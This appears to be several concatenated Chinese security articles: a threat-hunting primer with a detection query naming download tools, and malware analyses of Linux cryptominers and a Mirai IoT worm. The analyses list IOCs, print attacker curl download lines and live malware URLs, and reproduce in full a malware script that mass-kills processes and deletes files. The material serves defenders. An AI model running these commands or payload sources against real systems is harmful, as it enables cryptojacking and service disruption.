威胁狩猎,顾名思义,就是在网络安全的世界中寻找威胁,威胁每天都在变化。因此,开发新技术来防御和检测各种类型的威胁和攻击是我们的责任。

从威胁狩猎的定义开始,通过主动和被动的方式搜寻网络中想逃避安全解决方案的高级威胁的过程。

威胁狩猎不是一种技术,而是一种方法。作为一名安全分析师,威胁猎捕是以有效地运用我们的只是发现网络环境中的任何异常情况。

威胁猎人使用批判性思维能力和创造力来查看正常得网络行为并能够识别异常的行为。

一、为什么要做威胁狩猎?

在传统的安全监视方法中,大多数蓝队成员基于SIEM或其他安全设备触发的警报来寻找威胁。 除了警报驱动的方法之外,为什么我们不能添加一个连续的过程来从数据中查找内容,而没有任何警报促使我们发生事件。 这就是威胁搜寻的过程,主动寻找网络中的威胁。 可以使用此过程来查找现有安全解决方案无法识别的威胁或绕过解决方案的攻击。 因此,为什么不能将其驱动为警报驱动,原因是警报驱动主要是某种数字方式而非行为方式。

威胁狩猎的方法:

人工测试–分析人员需要不断寻找可能是入侵证据/指示的任何事物。

对于威胁猎人而言,保持最新的安全研究非常重要。

自动化/机器辅助-分析师使用利用“机器学习”和“ UEBA”功能的软件来告知分析师潜在风险。

它有助于提供预测性和规范性分析。

威胁情报源增加了分析。

二、如何进行猎捕? 

请遵循以下提到的步骤:

1.建立假设–假设意味着您要查找的内容,例如查找与Internet等建立连接的powershell命令。

2.收集数据–根据假设,更加狩猎查找您需要的数据。 

3.测试假设并收集信息–收集数据后,根据行为,搜索查询来查找威胁。 

4.自动化某些任务–威胁搜寻永远不能完全自动化,而只能是半自动化。

5.实施威胁搜寻–现在,不执行即席搜寻,而是实施您的搜寻程序,以便我们可以连续进行威胁搜寻。

三、如何产生假设?

 只需阅读文章,安全新闻,新的APT公开报告,Twitter和一些安全网站可获得。 威胁猎捕是对各种数据源(例如端点,网络,外围等)执行的。它只是有效地运用我们的知识来发现异常。 需要批判性思维能力。 由威胁指数(IOC)组成的威胁情报在执行狩猎过程中也起着重要作用。

四、MITER ATT&CK辅助威胁猎捕

大多数威胁猎捕平台都使用“ Attack MITRE”对手模型。 MITER ATT&CK™是基于现实世界观察结果的全球对抗性战术和技术知识库。 Attack MITER还提出了一个名为“ CAR”的网络分析存储库。 MITER团队列出了所有这些对手的行为,并且攻击者在受害机器上执行的攻击媒介。 它基于历史爆发为您提供了描述以及有关威胁的一些参考。 它使用TTP的战术,技术和程序,并将其映射到网络杀伤链。 大多数威胁猎捕方法都使用Mitre框架来执行搜寻过程。

五、实现威胁猎捕

现在,要执行猎捕,我们需要假设,并且在生成假设之后,我们可以根据所使用的任何平台来猎捕或搜索攻击。 为了检验假设,您可以使用任何可用的工具,例如Splunk,ELK Stack等,但是在开始猎捕之前,请妥善保管数据。 Florian Roth为SIEM签名提出了一种新的通用格式– SIGMA。 大多数Mitre Att&ck技术都映射到Sigma规则,这些规则可以直接合并到您的SIEM平台中以进行威胁猎捕。 还可将Sigma转换为Splunk,arcsight,ELK。

可以在Google工作表上找到Sigma规则转换准备好的列表:

威胁猎捕永远无法实现自动化,但是某些部分可以做到,例如可以在SIEM中直接警告这些sigma规则,但是调查和分类的后面部分需要人工操作。

威胁猎捕也可以由分析驱动。 用来进行风险评分的机器学习和UEBA也可以用作狩猎假设。 大多数网络分析平台都利用此UEBA,ML功能来识别异常。

六、威胁狩猎

1.运行mimikatz命令进行哈希转储在Word或excel文件打开powershell –要检查此假设,请首先查找数据,我们是否有适当的数据来寻找该假设,然后寻找winword.exe /execl.exe进程来创建powershell.exe ,以及包含(mimikatz)的命令行。

2.从Internet下载文件–查找用于从浏览器以外的Internet下载文件的过程,certutil.exe,hh.exe可以相同。

3.Powershell下载支持event_data.CommandLine:(* powershell * * pwsh * * SyncAppvPublishingServer *)和event_data.CommandLine:(* BitsTransfer * * webclient * * DownloadFile * * downloadstring * * wget * * curl * * WebRequest * * WinHttpRequest * iwr irm “ * internetExplorer.Application *”“ * Msxml2.XMLHTTP *”“ * MsXml2.ServerXmlHttp *”)

七、机器学习和威胁猎捕

机器学习在网络威胁猎捕中起着重要作用。 可以使用多种算法,例如分类,聚类等,基于SIEM中的日志来识别任何种类的异常和异常值。 机器学习在协助寻找威胁方面起着辅助作用,因为它为我们提供了异常值,分析师将进一步投资以寻找威胁。

*本文作者:Sampson,转载请注明来自FreeBuf.COM

一、背景

期观测到,Linux下挖矿攻击事件,攻击者通过SSH爆破获得权限后,下载哈鱼矿工进行挖矿,对该样本进行深入分析。哈鱼矿工是一款专门为对区块链不了解的小白用户设计的挖矿软件。通过电脑的CPU和GPU计算获得虚拟货币并统一换算成比特币,用户可以将挖矿收益提现到支付宝或者选择提币到比特币钱包。

目前哈鱼矿工支持CryptoNight和Ethash算法,可用于挖门罗、以太坊等主流加密货币。此外,哈鱼矿工已率先支持门罗币新PoW算法。届时将自动无缝切换到新算法,无需人工干预。

二、样本介绍

样本基本信息:

样本 MD5 内容
get.sh 1f17b8602739864fe6f78d34330d9537 脚本下载哈鱼挖矿程序
hashfish ac74da8ea28bf2146b069e4d44d44ae0 64位挖矿管理程序
hfxminer64 337d30665c902246c45dc8c7a5d2dd4b 64位挖矿程序

三、详细分析

攻击者通过SSH爆破后,执行curl http://cli.hashfish.net/get.sh-o get.sh下载get.sh脚本,脚本内容如下所示,主要作用是根据系统版本下载对应的哈鱼挖矿程序包,并且执行挖矿程序,其中phone表示挖矿用户,mode为模式。

通过在测试环境中执行脚本分析,发现攻击者用户名为:ph_r190HVKESk13exg=,矿池为cn4.hfsvr.com:19891,进行门罗币挖矿。

哈鱼的挖矿进行名hfxminer64,下面为进程状态。

可以发现平均每秒可以执行三十几次hash运算。

三、相关IOC

MD5

1f17b8602739864fe6f78d34330d9537
ac74da8ea28bf2146b069e4d44d44ae0
337d30665c902246c45dc8c7a5d2dd4b

C2

42.88.44.188:6974

URL

http://cli.hashfish.net/get.sh

http://cli.hashfish.net/linux.tar.gz

http://cli.hashfish.net/darwin.tar.gz

附:其他平台检测结果:

微步分析结果,可以发现微步还不认为该挖矿样本为恶意程序,

Virustotal检测结果:

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年6月26日蜜罐系统监控到两起Mirai的物联网蠕虫活动情况,自2017年11月23日Check Point研究人员发现华为家用路由器HG532存在0day漏洞(CVE-2017-17215),可以远程执行任意代码,Mirai蠕虫病毒就利用该漏洞进行大肆传播,本文会结合蜜罐捕获的攻击证据对该蠕虫进行技术分析,重点分析该蠕虫是如何利用该漏洞进行传播的。整个攻击流程如下:

2.png

一、样本介绍

两起样本基本信息,样本一的信息如下:

样本 MD5 内容
ssh.sh aa82ebdab1ca5db01e8392456a66d173 该脚本下载蠕虫病毒
kowai.arm5 54206703b7da43eb31103d2260804ffa arm平台蠕虫病毒
kowai.arm6 417c52650feb2bce70966c0b6a29e9f9 arm平台蠕虫病毒
kowai.arm7 6a688f8018f1c5aa5d2b762ce45d5f08 arm平台蠕虫病毒
kowai.m68k aefed58737b6780078d5b8d9b95a4a6e m68k平台蠕虫病毒
kowai.mips 4c7d72110b21c4d96e1a5dd1dd3d8162 mips平台蠕虫病毒
kowai.mpsl 50caf859e336928cb03867b6a1fb307d mpsl平台蠕虫病毒
kowai.ppc 1b3313b9d2732695a54f922d617919b8 mpsl平台蠕虫病毒
kowai.sh4 0b51a869b580af0105583786edcf9d5a sh4平台蠕虫病毒
kowai.x86 289f45cfb35f880e2a57638019376997 x86平台蠕虫病毒

样本二的信息如下:

样本 MD5 内容
sh a7efb85b73dcebb71fe3013123e5d348 该脚本下载挖矿程序包
maui.arm 167615d6c36a8ddecd80835b8f9d0cc0 arm平台蠕虫病毒
maui.arm5 b5b0473bc3eaf74bffd851537f516adb arm平台蠕虫病毒
maui.arm6 43ed80863580144352b5d7e184806313 arm平台蠕虫病毒
maui.i586 ca8c67fa2735246346def750de08bc0f i586平台蠕虫病毒
maui.mips 8a3eb31a6d87c368e3858d6ab032fa5d mips平台蠕虫病毒
maui.mpsl 474dad25f577df9e8c20a6a9b5ac288f mpsl平台蠕虫病毒

二、详细分析

捕获到两个脚本,http://host.minekraft.club/bins/sh脚本如下,主要作用是下载arm、i586、mips、mpsl各种IoT平台的Mirai蠕虫。

3.png

http://147.135.116.65/ssh.sh对应的脚本如下,主要作用是下载arm、x86、i586、mips、mpsl、ppc各种IoT平台的Mirai蠕虫,并伪装SSH进行运行。

4.png

攻击服务器包含了很多相关的文件,各个操作系统平台上的,不同版本的蠕虫文件。

5.png

该蠕虫病毒的工作原理非常简单,主要意图是伪造UDP和TCP对目标发起泛洪攻击,在此,选取其中的一个蠕虫样本kowai.arm5进行分析,通过IDA逆向分析发现,该样本在传播和攻击过程中用了3个PayLoad,丢失正对路由器进行攻击,下面相关的POC:

华为 HG532系列路由器远程命令执行漏洞(CVE-2017-17215),该漏洞对应的端口号是52869,对应的POC:

6.png

漏洞分析:

7.png

使用了一个古老的漏洞(CVE-2014-8361),该漏洞针对的是Realtek SDK中的UPnP服务(52869端口)。由于该漏洞暴露的时间比较旧,下图是样本中的POC。

8.png

该样本依然保留着弱口令爆破,向随机地址的23端口发送telnet数据包,尝试进行弱密码爆破。

9.png

ScanMon平台显示端口23的扫描流量排名第一,远超22端口。

10.png

发现攻击源占据前几位的都来自美国。

11.png

此外,该样本会随机的扫描端口37215和52869,下面是通过wireshark抓包的流量中提取的扫描信息。

12.png

13.png

查看whois信息,在ipip.net显示该攻击来自美国弗吉尼亚州阿什本。

14.png

三、相关IOC

MD5

aa82ebdab1ca5db01e8392456a66d173

54206703b7da43eb31103d2260804ffa

417c52650feb2bce70966c0b6a29e9f9

6a688f8018f1c5aa5d2b762ce45d5f08

aefed58737b6780078d5b8d9b95a4a6e

4c7d72110b21c4d96e1a5dd1dd3d8162

50caf859e336928cb03867b6a1fb307d

1b3313b9d2732695a54f922d617919b8

0b51a869b580af0105583786edcf9d5a

289f45cfb35f880e2a57638019376997

a7efb85b73dcebb71fe3013123e5d348

167615d6c36a8ddecd80835b8f9d0cc0

b5b0473bc3eaf74bffd851537f516adb

43ed80863580144352b5d7e184806313

ca8c67fa2735246346def750de08bc0f

8a3eb31a6d87c368e3858d6ab032fa5d

474dad25f577df9e8c20a6a9b5ac288f

C2

147.135.116.65:80

URL

http://147.135.116.65/bins/kowai.x86

http://147.135.116.65/bins/kowai.mips

http://147.135.116.65/bins/kowai.mpsl

http://147.135.116.65/bins/kowai.arm4

http://147.135.116.65/bins/kowai.arm5

http://147.135.116.65/bins/kowai.arm6

http://147.135.116.65/bins/kowai.arm7

http://147.135.116.65/bins/kowai.ppc

http://147.135.116.65/bins/kowai.m68k

http://147.135.116.65/bins/kowai.sh4

http://host.minekraft.club/bins/sh

http://host.minekraft.club/bins/maui.arm

http://host.minekraft.club/bins/maui.arm5

http://host.minekraft.club/bins/maui.arm6

http://host.minekraft.club/bins/maui.i586

http://host.minekraft.club/bins/maui.mips

http://host.minekraft.club/bins/maui.mpsl

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

近期观测到,Linux下DDG变种挖矿病毒又在全国范围内大规模爆发,该样本通过SSH爆破进行攻击,执行恶意程序,下 载伪装成图片的门罗币挖矿木马,设置为开机启动并在后台运行,木马在入侵计算机之后,以该计算机本地密钥登录known_hosts文件中的服务器进行横向渗透,攻击局域网中的其他机器并控制这些机器,使得这些无法正常提供业务,对该样本进行深入分析。

0×00 样本介绍

样本基本信息:

样本 MD5 内容
xvfxprtb e637e3252f452226c646079fcb6ac101 脚本下载图片样本
1414297571.jpg 35adcfb63017158c1f100201f850e8bd 伪装成图片,包含挖矿程序和配置文件
mysqlc_i686 18576051127ac0cc14664ba96c901dcb 32位远控木马
mysqlc_x86_64 2b95c896bea354a5a67cfcbd84fbb765 64位远控木马
mysqli_i686 0c3dc9a67f879e5cc9849d128b16b866 32位挖矿程序
mysqli_x86_64 784374992bddb9cf35aa92f098ec78b2 64位挖矿程序

0×01 详细分析

xvfxprtb实际上是一个shell脚本,它是经过base64加密后的结果。

解密后得到shell脚本,该脚本的功能是下载1414297571.jpg样本,并将该图片样本重命名为mysqli.tar.gz,解压挖矿程序和程序的配置脚本,执行in脚本开始挖矿。

解压mysqli.tar.gz后目录结构:

执行in脚本,定时下载挖矿木马任务,每 15 分钟从 pastebin 上下载经过 base64 编码的脚本自身并执行,并设置成开机启动 。

还包含了kill_sus_proc()函数,清理自身挖矿进程 ,并杀掉CPU大于30%的进程。

该病毒通过识别内核版本,执行对应版本的病毒。

判断挖矿程序的配置是否存在。

读取.ssh目录下known_hosts中的服务器地址,尝试使用密钥登录后横向传播,攻击局域网中的其他机器并控制这些机器。

查杀Stratum矿池协议的挖矿进程,使得自己独占CPU资源。

清除历史命令、除日志、邮件和服务器登陆行为。

矿机配置文件config.json如下:

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": false,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 75,
    "pools": [
        {
            "url":"xmr.pool.minergate.com:45700",
            "user":"[email protected]",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url":"xmr-eu1.nanopool.org:14444",
            "user":"489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url":"xmr-asia1.nanopool.org:14444",
            "user":"489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 11,
    "retry-pause": 5,
    "safe": false,
    "threads": [
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        }
    ],
    "user-agent": null,
    "syslog": false,
    "watch": true
}

矿池地址:xmr.pool.minergate.com:45700

用户名:[email protected]

密码:x

矿池地址:xmr-eu1.nanopool.org:14444

用户名:

489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz

密码:x

矿池地址:xmr-asia1.nanopool.org:14444

用户名:

489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz

密码:x

通过挖矿钱包地址发现Pool: nanopoolPaid: 0 XMR,目前挖的门罗币为0。

0×02 解决方案

1、手动清除挖矿木马,删除病毒体rm-rf /tmp/.mysqli/,rm /tmp/mysqli.tar.gz

2、清理定时任务/var/spool/cron/crontabs

3、查杀挖矿进程,psauxf|grep -v grep|grep “mysqli”|awk ‘{print $2}’|xargs kill -9,ps auxf|grep -v grep|grep ” mysqlc”|awk’{print $2}’|xargs kill -9

4、清除开启自启动服务chkconfig–del in

5、采用高强度的密码,定期更换服务器密码。

0×03 相关IOC

MD5

e637e3252f452226c646079fcb6ac101
35adcfb63017158c1f100201f850e8bd
18576051127ac0cc14664ba96c901dcb
2b95c896bea354a5a67cfcbd84fbb765
0c3dc9a67f879e5cc9849d128b16b866
784374992bddb9cf35aa92f098ec78b2

C2

122.114.196.38:43100

URLs

https://pastebin.com/raw/xvfxprtb http://m.jianlistore.com/images/qrcode/1414297571.jpg

*本文作者:Sampson,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

image.png

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

3.png

dota2.tar.gz包含了如下文件:

17.png

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

18.png

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

16.pngstop脚本文件为挖矿结束脚本。

19.png

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

11.png

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

15.png

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

12.png

流量解析提取如下:

15.png

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

7.png

107.191.99.221:80挖矿行为

8.png

workforce.ignorelist.com挖矿行为

9.png

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

10.png

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
	killme() {
	  killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
	}

	killa() {
	what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
	}

	killa 34e2fg
	killme
	
	# Killing big CPU
	VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
	for word in $VAR
	do
	  CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
	  if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
	done

	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	
	# crond
	ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
	while read crondpid
	do
		if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $crondpid
			rm -rf /var/tmp/v3
		fi
	done < /tmp/crondpid
	rm /tmp/crondpid -f
	 
	# sshd
	ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
	while read sshdpid
	do
		if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $sshdpid
		fi
	done < /tmp/ssdpid
	rm -f /tmp/ssdpid

	# syslog
	ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
	while read syslogpid
	do
		if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill  $syslogpid
		fi
	done < /tmp/syslogspid
	rm /tmp/syslogspid -f

		ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

		####################################################


		ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

}

# Removing miners by known path IOC
files(){
	rm /tmp/.cron
	rm /tmp/.main
	rm /tmp/.yam* -rf
	rm -f /tmp/irq
	rm -f /tmp/irq.sh
	rm -f /tmp/irqbalanc1
	rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
	rm -rf /tmp/*httpd.conf
	rm -rf /tmp/*httpd.conf*
	rm -rf /tmp/*index_bak*
	rm -rf /tmp/.systemd-private-*
	rm -rf /tmp/.xm*
	rm -rf /tmp/a7b104c270
	rm -rf /tmp/conn
	rm -rf /tmp/conns
	rm -rf /tmp/httpd.conf
	rm -rf /tmp/java*
	rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
	rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
	rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
	rm -rf /tmp/xm*
	rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
	# Kill by known ports/IPs
	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}	

files
processes
network
echo "DONE"

0×03 相关IOC

MD5

1b9254279109722a034b7026cd8eb0e7

ef6aa42aa0fa26fb6ba8c0af02737585

cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

2.png

微步分析结果:

1.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

